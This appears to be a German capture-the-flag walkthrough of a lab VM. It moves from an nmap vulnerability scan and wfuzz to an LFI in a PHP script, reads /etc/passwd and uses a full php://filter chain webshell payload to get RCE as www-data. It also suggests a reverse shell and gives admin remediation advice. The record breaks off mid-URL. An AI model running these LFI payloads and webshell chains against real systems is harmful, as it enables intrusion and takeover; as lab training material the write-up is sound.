Analyse: Ein `nmap`-Scan mit dem Skript-Argument `vuln` wird durchgeführt. Dieses Argument ist eine Kategorie, die alle Skripte in der `vuln`-Kategorie ausführt, um bekannte Schwachstellen in den erkannten Diensten zu finden. * `-sV -A`: Versionserkennung und aggressive Optionen (werden hier wiederholt, `-A` beinhaltet `-sV`). * `--script vuln`: Führt Schwachstellen-Scan-Skripte aus. * `192.168.2.165` (im Text steht `192.168.2.144`, aber das scheint ein Tippfehler zu sein, da der Rest des Outputs zur `.165` passt): Ziel-IP. * `-T5`: Sehr schnelles Timing.

Bewertung: Der Scan liefert umfangreiche Ergebnisse, insbesondere für den SSH-Dienst (OpenSSH 9.2p1): * **SSH (`vulners` Skript):** Listet eine große Anzahl potenzieller CVEs (Common Vulnerabilities and Exposures) und Exploits auf, die mit OpenSSH 9.2p1 in Verbindung gebracht werden. Darunter sind hoch bewertete CVEs wie CVE-2023-38408 (RCE über eingeschleuste Bibliotheken in `ssh-agent`) und CVE-2023-28531 (RCE in `ssh-add`). Es werden auch viele Links zu `githubexploit` angezeigt, die auf Proof-of-Concept-Code hindeuten könnten. Es ist wichtig zu beachten, dass die reine Versionsnummer nicht immer bedeutet, dass eine Schwachstelle ausnutzbar ist (Backporting von Patches in Debian). * **HTTP:** Keine spezifischen Schwachstellen wie CSRF, DOM-basiertes XSS oder Stored XSS gefunden. `/robots.txt` wird erneut als existierend gemeldet.

Empfehlung (Pentester): Recherchiere die gemeldeten CVEs für OpenSSH 9.2p1 genauer, insbesondere CVE-2023-38408 und CVE-2023-28531. Prüfe, ob die spezifischen Bedingungen für eine Ausnutzung auf dem Zielsystem gegeben sind und ob öffentliche Exploits verfügbar und anwendbar sind. Dies könnte ein alternativer Weg zum Initial Access sein.
Empfehlung (Admin): Überprüfen Sie dringend, ob die installierte OpenSSH-Version (9.2p1 auf Debian 12) tatsächlich anfällig für die gemeldeten CVEs ist oder ob Sicherheitspatches durch Debian bereits angewendet wurden (`apt list --upgradable`). Aktualisieren Sie das System und insbesondere OpenSSH auf die neuesten verfügbaren Versionen. Konfigurieren Sie SSH sicher (siehe frühere Empfehlungen).

┌──(root㉿CCat)-[~] └─# nmap -sV -A --script vuln 192.168.2.165 -T5
:::::::::::::::::::::::: Nmap Schwachstellenscan Scan ::::::::::::::::::::::

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-28 21:29 CET
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for plpl.hmv (192.168.2.165)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:9.2p1:
|     	95499236-C9FE-56A6-9D7D-E943A24B633A	10.0	https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A	*EXPLIT*
|     	2C119FFA-ECE0-5E14-A4A4-354A2C38071A	10.0	https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A	*EXPLIT*
|     	CVE-2023-38408	9.8	https://vulners.com/cve/CVE-2023-38408
|     	CVE-2023-28531	9.8	https://vulners.com/cve/CVE-2023-28531
|     	B8190CDB-3EB9-5631-9828-8064A1575B23	9.8	https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23	*EXPLIT*
|     	8FC9C5AB-3968-5F3C-825E-E8DB5379A623	9.8	https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623	*EXPLIT*
|     	8AD01159-548E-546E-AA87-2DE89F3927EC	9.8	https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC	*EXPLIT*
|     	887EB570-27D3-11EE-ADBA-C80AA9043978	9.8	https://vulners.com/freebsd/887EB570-27D3-11EE-ADBA-C80AA9043978
|
|     	123C2683-74BE-5320-AA3A-C376C8E3A992	8.1	https://vulners.com/githubexploit/123C2683-74BE-5320-AA3A-C376C8E3A992	*EXPLIT*
|     	11F020AC-F907-5606-8805-0516E06160EE	8.1	https://vulners.com/githubexploit/11F020AC-F907-5606-8805-0516E06160EE	*EXPLIT*
|     	108E1D25-1F7E-534C-97CD-3F6045E32B98	8.1	https://vulners.com/githubexploit/108E1D25-1F7E-534C-97CD-3F6045E32B98	*EXPLIT*
|     	0FC4BE81-312B-51F4-9D9B-66D8B5C093CD	8.1	https://vulners.com/githubexploit/0FC4BE81-312B-51F4-9D9B-66D8B5C093CD	*EXPLIT*
|     	0F9B3655-C7D4-55A9-8EB5-2EAD9CEAB180	8.1	https://vulners.com/githubexploit/0F9B3655-C7D4-55A9-8EB5-2EAD9CEAB180	*EXPLIT*
|     	0E9294FD-6B44-503A-84C2-C6E76E53B0B7	8.1	https://vulners.com/githubexploit/0E9294FD-6B44-503A-84C2-C6E76E53B0B7	*EXPLIT*
|     	0A8CA57C-ED38-5301-A03A-C841BD3082EC	8.1	https://vulners.com/githubexploit/0A8CA57C-ED38-5301-A03A-C841BD3082EC	*EXPLIT*
|     	SSV:92579	7.5	https://vulners.com/seebug/SSV:92579	*EXPLIT*
|     	PACKETSTRM:173661	7.5	https://vulners.com/packetstorm/PACKETSTRM:173661	*EXPLIT*
|     	F0979183-AE88-53B4-86CF-3AF0523F3807	7.5	https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807	*EXPLIT*
|     	1337DAY-ID-26576	7.5	https://vulners.com/zdt/1337DAY-ID-26576	*EXPLIT*
|     	CVE-2023-51385	6.5	https://vulners.com/cve/CVE-2023-51385
|     	CVE-2023-48795	5.9	https://vulners.com/cve/CVE-2023-48795
|     	54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C	5.9	https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C	*EXPLIT*
|     	CVE-2023-51384	5.5	https://vulners.com/cve/CVE-2023-51384
|     	PACKETSTRM:140261	0.0	https://vulners.com/packetstorm/PACKETSTRM:140261	*EXPLIT*
|     	5C971D4B-2DD3-5894-9EC2-DAB952B4740D	0.0	https://vulners.com/githubexploit/5C971D4B-2DD3-5894-9EC2-DAB952B4740D	*EXPLIT*
|_    	39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118	0.0	https://vulners.com/githubexploit/39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118	*EXPLIT*
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: Apache/2.4.62 (Debian)
|_http-dombased-xss: Couldn't find any DM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
|_  /robots.txt: Robots file
MAC Address: 08:00:27:6A:2F:23 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.12 ms plpl.hmv (192.168.2.165)

S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.82 seconds
                    

Initial Access (LFI to RCE)

Analyse: `wfuzz` wird verwendet, um Parameter für das Skript `m414nj3.php` zu fuzzen. Es wird versucht herauszufinden, welcher Parameter verwendet wird, um eine Local File Inclusion (LFI) auszulösen, die bereits im Payload (`../../.../etc/passwd`) angedeutet wird. * `-c`: Farbige Ausgabe. * `-w ...directory-list-2.3-medium.txt`: Wortliste für Parameternamen. * `-u "http://.../m414nj3.php?FUZZ=../../.../etc/passwd"`: Die URL, wobei `FUZZ` durch die Wörter aus der Liste ersetzt wird. Der Wert des Parameters ist bereits auf einen LFI-Payload gesetzt. * `--hc 404`: Versteckt Antworten mit Statuscode 404 (Not Found). * `--hh 0`: Versteckt Antworten mit 0 Zeichen (Chars) im Body. Ziel ist es, eine Antwort zu finden, die nicht 404 ist und Inhalt hat.

Bewertung: Der Fuzzing-Versuch ist erfolgreich! Es wird der Parameter `page` identifiziert. Wenn `page` mit dem LFI-Payload gesetzt wird, antwortet der Server mit Status 200 und liefert Inhalt (1066 Chars), was darauf hindeutet, dass der Inhalt von `/etc/passwd` erfolgreich eingebunden und angezeigt wurde. Dies bestätigt eine kritische LFI-Schwachstelle im Parameter `page` des Skripts `m414nj3.php`.

Empfehlung (Pentester): Nutze die LFI-Schwachstelle, um weitere sensible Dateien zu lesen (z.B. Konfigurationsdateien, SSH-Keys, Quellcode des PHP-Skripts selbst). Versuche, die LFI zu Remote Code Execution (RCE) zu eskalieren, z.B. durch Einbinden von Log-Dateien (Log Poisoning) oder durch Nutzung von PHP-Wrappern wie `php://filter` oder `php://input`.
Empfehlung (Admin): **Beheben Sie die LFI-Schwachstelle dringend!** Implementieren Sie eine Whitelist für erlaubte Dateinamen im `include()`-Aufruf. Sanitisieren Sie den `page`-Parameter rigoros, um Directory Traversal (`../`) zu verhindern. Deaktivieren Sie `allow_url_include` in der `php.ini`.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.165/n3gr4/m414nj3.php?FUZZ=../../../../../../../../../../../../../../../../etc/passwd" --hc 404 --hh 0
 ********************************************************
 * Wfuzz 3.1.0 - The Web Fuzzer                         *
 ********************************************************

 Target: http://192.168.2.165/n3gr4/m414nj3.php?FUZZ=../../../../../../../../../../../../../../../../etc/passwd
 Total requests: 471

 =====================================================================
 ID           Response   Lines    Word       Chars       Payload
 =====================================================================

 000000103:   200        22 L     26 W       1066 Ch     "page"

 Total time: 0.726065s
 Processed Requests: 471
 Filtered Requests: 470
 Requests/sec.: 648.6861
                     

Analyse: Der `curl`-Befehl wird verwendet, um die bestätigte LFI-Schwachstelle auszunutzen und den Inhalt der Datei `/etc/passwd` vom Server abzurufen. `-s` unterdrückt die Statusausgabe von curl. Das Ergebnis wird mit `grep sh` gefiltert, um Zeilen zu finden, die Benutzern mit einer Login-Shell (`/bin/bash` oder ähnliches) entsprechen.

Bewertung: Der Befehl ist erfolgreich und zeigt Teile der `/etc/passwd`-Datei an. Wichtig sind die Einträge für `root` (`/bin/bash`) und einen normalen Benutzer `p4l4nc4` (UID 1000, `/bin/bash`). Der Benutzer `p4l4nc4` (Palanca) passt wieder zum Thema und ist ein vielversprechendes Ziel für den nächsten Schritt. Der Benutzer `sshd` hat `/usr/sbin/nologin`, was normal ist.

Empfehlung (Pentester): Versuche, weitere Dateien zu lesen, die für den Benutzer `p4l4nc4` relevant sein könnten, insbesondere SSH-Keys im Verzeichnis `/home/p4l4nc4/.ssh/id_rsa`. Nutze die LFI, um den Quellcode von `m414nj3.php` selbst zu lesen (`...php?page=m414nj3.php`), um die Schwachstelle besser zu verstehen.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle. Überprüfen Sie die Berechtigungen für sensible Dateien wie `/etc/passwd`, um sicherzustellen, dass sie nicht unnötig lesbar sind (obwohl Lesbarkeit für `/etc/passwd` normal ist).

┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.165/n3gr4/m414nj3.php?page=../../../../../../../../../../../../../../../../etc/passwd | grep sh
 root:x:0:0:root:/root:/bin/bash
 sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
 p4l4nc4:x:1000:1000:p4l4nc4,,,:/home/p4l4nc4:/bin/bash
                     

Analyse: Es wird in ein lokales Verzeichnis gewechselt, das ein Tool namens `php_filter_chain_generator.py` enthält. Dieses Skript wird verwendet, um komplexe PHP-Filterketten zu generieren. Solche Ketten können genutzt werden, um über eine LFI-Schwachstelle (insbesondere mit `include()` oder `require()`) PHP-Code auszuführen, selbst wenn `allow_url_include` deaktiviert ist. Das Ziel ist es, den PHP-Code `` (eine einfache Webshell) auf dem Server zu erzeugen und auszuführen.

Bewertung: Das Skript generiert erfolgreich eine sehr lange und komplexe `php://filter`-Kette. Diese Kette nutzt eine Kombination aus Zeichenkodierungs-Konvertierungen (`convert.iconv.*`) und Base64-Kodierung/-Dekodierung (`convert.base64-encode`, `convert.base64-decode`), um den Ziel-PHP-Code zu erzeugen. Am Ende wird `/resource=php://temp` angehängt, was oft verwendet wird, um den resultierenden Code zur Ausführung zu bringen. Dies ist eine fortgeschrittene Technik zur Eskalation von LFI zu RCE.

Empfehlung (Pentester): Kopiere die generierte Filterkette und füge sie als Wert für den `page`-Parameter in die URL ein. Füge am Ende `&cmd=befehl` hinzu, um die eingebettete Webshell zu nutzen (z.B. `&cmd=id`).
Empfehlung (Admin): Die beste Verteidigung ist die Behebung der LFI-Schwachstelle. Zusätzlich kann das Deaktivieren nicht benötigter PHP-Filter (`php.ini` oder Serverkonfiguration) die Ausnutzung erschweren, ist aber keine vollständige Lösung. Web Application Firewalls (WAFs) können bekannte Filterketten blockieren, aber Angreifer können oft neue Varianten finden.

┌──(root㉿CCat)-[~] └─# cd Hackingtools/php_filter_chain_generator
┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# ll
insgesamt 32
-rwxr-xr-x 1 root root  8765 24. Aug 00:11 php_filter_chain_generator.py
-rw-r--r-- 1 root root   209 27. Sep 00:52 pythonshell.txt
-rw-r--r-- 1 root root 12534 24. Aug 00:11 README.md
                    
┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# ./php_filter_chain_generator.py --chain '<?php system($GET["cmd"]); ?>'
[+] The following gadget chain will generate the following code : <?php system($GET["cmd"]); ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDWS-1258.UTF32LE|convert.iconv.ISIRI3342.IS-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IS2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.IS88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.IS-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICDE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.IS8859-9.IS_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICDE|convert.iconv.CP1282.IS-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICDE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.SF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICDE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSIS2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSIS2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.IS6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICDE|convert.iconv.CP1282.IS-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.IS6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICDE|convert.iconv.CP1282.IS-IR-90|convert.iconv.IS6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.IS6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICDE|convert.iconv.IS-IR-156.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
                    

Proof of Concept (LFI to RCE)

Analyse: Dieser Proof of Concept demonstriert die erfolgreiche Ausnutzung der LFI-Schwachstelle im Skript `m414nj3.php` mithilfe der generierten PHP-Filterkette, um Remote Code Execution (RCE) auf dem Zielserver zu erlangen. Die lange Filterkette wird als Wert für den `page`-Parameter übergeben. Zusätzlich wird der Parameter `cmd` angehängt, dessen Wert vom eingebetteten `system()`-Aufruf ausgeführt wird. Hier wird `cmd=id` verwendet.

Bewertung: Der Angriff ist erfolgreich! Die URL, die die Filterkette und `&cmd=id` enthält, wird im Browser aufgerufen (angedeutet durch `view-source:`). Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` bestätigt, dass der `id`-Befehl auf dem Server ausgeführt wurde und der Webserver unter dem Benutzer `www-data` läuft. Dies ist ein kritischer Erfolg und bedeutet vollständige Kontrolle über den Webserver-Prozess. Der Initial Access ist somit erreicht.

Schritte zur Reproduktion:

  1. Generiere die PHP-Filterkette mit `php_filter_chain_generator.py` für den Payload `<?php system($GET["cmd"]); ?>`.
  2. Konstruiere die URL: `http://192.168.2.165/n3gr4/m414nj3.php?page=php://filter/...[komplette Filterkette].../resource=php://temp&cmd=gewünschter_befehl` (z.B. `cmd=id` oder `cmd=whoami`).
  3. Rufe die konstruierte URL in einem Webbrowser auf oder verwende `curl`.

Erwartetes Ergebnis: Die Ausgabe des ausgeführten Befehls (`gewünschter_befehl`) wird im Browser oder in der `curl`-Ausgabe angezeigt.

Empfehlung (Pentester): Nutze die RCE, um eine stabilere Reverse Shell zum Angreifer-System aufzubauen. Verwende Befehle wie `nc`, `bash`, `python` oder `socat`.
Empfehlung (Admin): **Höchste Priorität: Beheben Sie die LFI-Schwachstelle sofort!** Untersuchen Sie das System auf Anzeichen einer Kompromittierung (verdächtige Prozesse, Dateien, Netzwerkverbindungen). Analysieren Sie Webserver-Logs auf verdächtige Anfragen mit `php://filter`.

view-source:http://192.168.2.165/n3gr4/m414nj3.php?page=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDWS-1258.UTF32LE|convert.iconv.ISIRI3342.IS-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IS2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.IS88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.IS-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICDE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.IS8859-9.IS_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICDE|convert.iconv.CP1282.IS-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICDE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.SF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICDE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSIS2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSIS2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.IS6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICDE|convert.iconv.CP1282.IS-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.IS6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICDE|convert.iconv.CP1282.IS-IR-90|convert.iconv.IS6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.IS6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICDE|convert.iconv.IS-IR-156.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.b